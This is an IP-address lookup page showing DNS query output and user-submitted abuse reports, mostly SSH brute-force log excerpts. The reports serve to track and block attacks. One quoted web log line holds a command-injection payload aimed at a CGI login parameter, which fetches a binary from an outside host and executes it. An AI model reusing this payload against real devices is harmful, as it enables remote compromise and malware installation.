Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.83.234
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 3147
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.83.234.			IN	A

;; AUTHORITY SECTION:
.			600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021701 1800 900 604800 86400

;; Query time: 53 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 03:05:03 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 234.83.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 234.83.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
174.82.233.182 attack
IP blocked
2020-04-08 00:15:17
51.161.51.150 attack
Apr  7 16:40:20 vlre-nyc-1 sshd\[25233\]: Invalid user cacheusr from 51.161.51.150
Apr  7 16:40:20 vlre-nyc-1 sshd\[25233\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.161.51.150
Apr  7 16:40:23 vlre-nyc-1 sshd\[25233\]: Failed password for invalid user cacheusr from 51.161.51.150 port 36894 ssh2
Apr  7 16:47:56 vlre-nyc-1 sshd\[25362\]: Invalid user ubuntu from 51.161.51.150
Apr  7 16:47:56 vlre-nyc-1 sshd\[25362\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.161.51.150
...
2020-04-08 01:07:02
121.201.67.60 attack
Honeypot attack, port: 445, PTR: 121.201.67.60.
2020-04-08 00:25:03
94.191.15.40 attackspam
Apr  7 14:42:43 eventyay sshd[32245]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=94.191.15.40
Apr  7 14:42:44 eventyay sshd[32245]: Failed password for invalid user dspace from 94.191.15.40 port 42480 ssh2
Apr  7 14:48:33 eventyay sshd[32476]: Failed password for root from 94.191.15.40 port 42620 ssh2
...
2020-04-08 01:02:48
34.92.22.239 attackbots
Apr  7 15:57:42 [host] sshd[8795]: Invalid user de
Apr  7 15:57:42 [host] sshd[8795]: pam_unix(sshd:a
Apr  7 15:57:44 [host] sshd[8795]: Failed password
2020-04-08 00:30:01
181.44.216.49 attack
181.44.216.49 - - [07/Apr/2020:09:10:15 -0500] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 166 "-" "-"
2020-04-08 00:20:17
182.107.202.112 attack
Unauthorized connection attempt detected from IP address 182.107.202.112 to port 5555 [T]
2020-04-08 00:54:57
138.68.226.234 attack
2020-04-07T17:38:47.571828  sshd[10666]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.226.234  user=ftp
2020-04-07T17:38:49.805724  sshd[10666]: Failed password for ftp from 138.68.226.234 port 51764 ssh2
2020-04-07T17:48:23.229325  sshd[10857]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.226.234  user=mysql
2020-04-07T17:48:25.536625  sshd[10857]: Failed password for mysql from 138.68.226.234 port 46510 ssh2
...
2020-04-08 01:11:46
112.85.42.178 attackbots
Apr  7 23:52:03 webhost01 sshd[27654]: Failed password for root from 112.85.42.178 port 58113 ssh2
Apr  7 23:52:17 webhost01 sshd[27654]: error: maximum authentication attempts exceeded for root from 112.85.42.178 port 58113 ssh2 [preauth]
...
2020-04-08 00:56:12
42.200.66.164 attackbotsspam
(sshd) Failed SSH login from 42.200.66.164 (HK/Hong Kong/42-200-66-164.static.imsbiz.com): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Apr  7 14:46:03 amsweb01 sshd[10224]: Invalid user ubuntu from 42.200.66.164 port 47564
Apr  7 14:46:06 amsweb01 sshd[10224]: Failed password for invalid user ubuntu from 42.200.66.164 port 47564 ssh2
Apr  7 14:50:33 amsweb01 sshd[10770]: Invalid user user from 42.200.66.164 port 59286
Apr  7 14:50:35 amsweb01 sshd[10770]: Failed password for invalid user user from 42.200.66.164 port 59286 ssh2
Apr  7 14:54:38 amsweb01 sshd[11173]: Invalid user user from 42.200.66.164 port 39014
2020-04-08 00:59:53
167.99.131.243 attack
Apr  7 17:58:07 * sshd[3981]: Failed password for root from 167.99.131.243 port 39818 ssh2
Apr  7 18:01:51 * sshd[4474]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.99.131.243
2020-04-08 00:33:41
136.0.212.250 attack
Web Server Attack
2020-04-08 00:49:44
49.232.131.80 attackspam
Apr  7 16:11:45 host sshd[18948]: Invalid user ubuntu from 49.232.131.80 port 54452
...
2020-04-08 01:10:07
113.98.101.188 attack
Apr  7 18:53:00 markkoudstaal sshd[26924]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=113.98.101.188
Apr  7 18:53:02 markkoudstaal sshd[26924]: Failed password for invalid user user from 113.98.101.188 port 18074 ssh2
Apr  7 18:56:12 markkoudstaal sshd[27362]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=113.98.101.188
2020-04-08 01:09:27
220.178.75.153 attackspam
Apr  7 18:12:55 OPSO sshd\[10359\]: Invalid user dev from 220.178.75.153 port 9971
Apr  7 18:12:55 OPSO sshd\[10359\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.178.75.153
Apr  7 18:12:57 OPSO sshd\[10359\]: Failed password for invalid user dev from 220.178.75.153 port 9971 ssh2
Apr  7 18:16:58 OPSO sshd\[11020\]: Invalid user tester from 220.178.75.153 port 19769
Apr  7 18:16:58 OPSO sshd\[11020\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.178.75.153
2020-04-08 00:17:20

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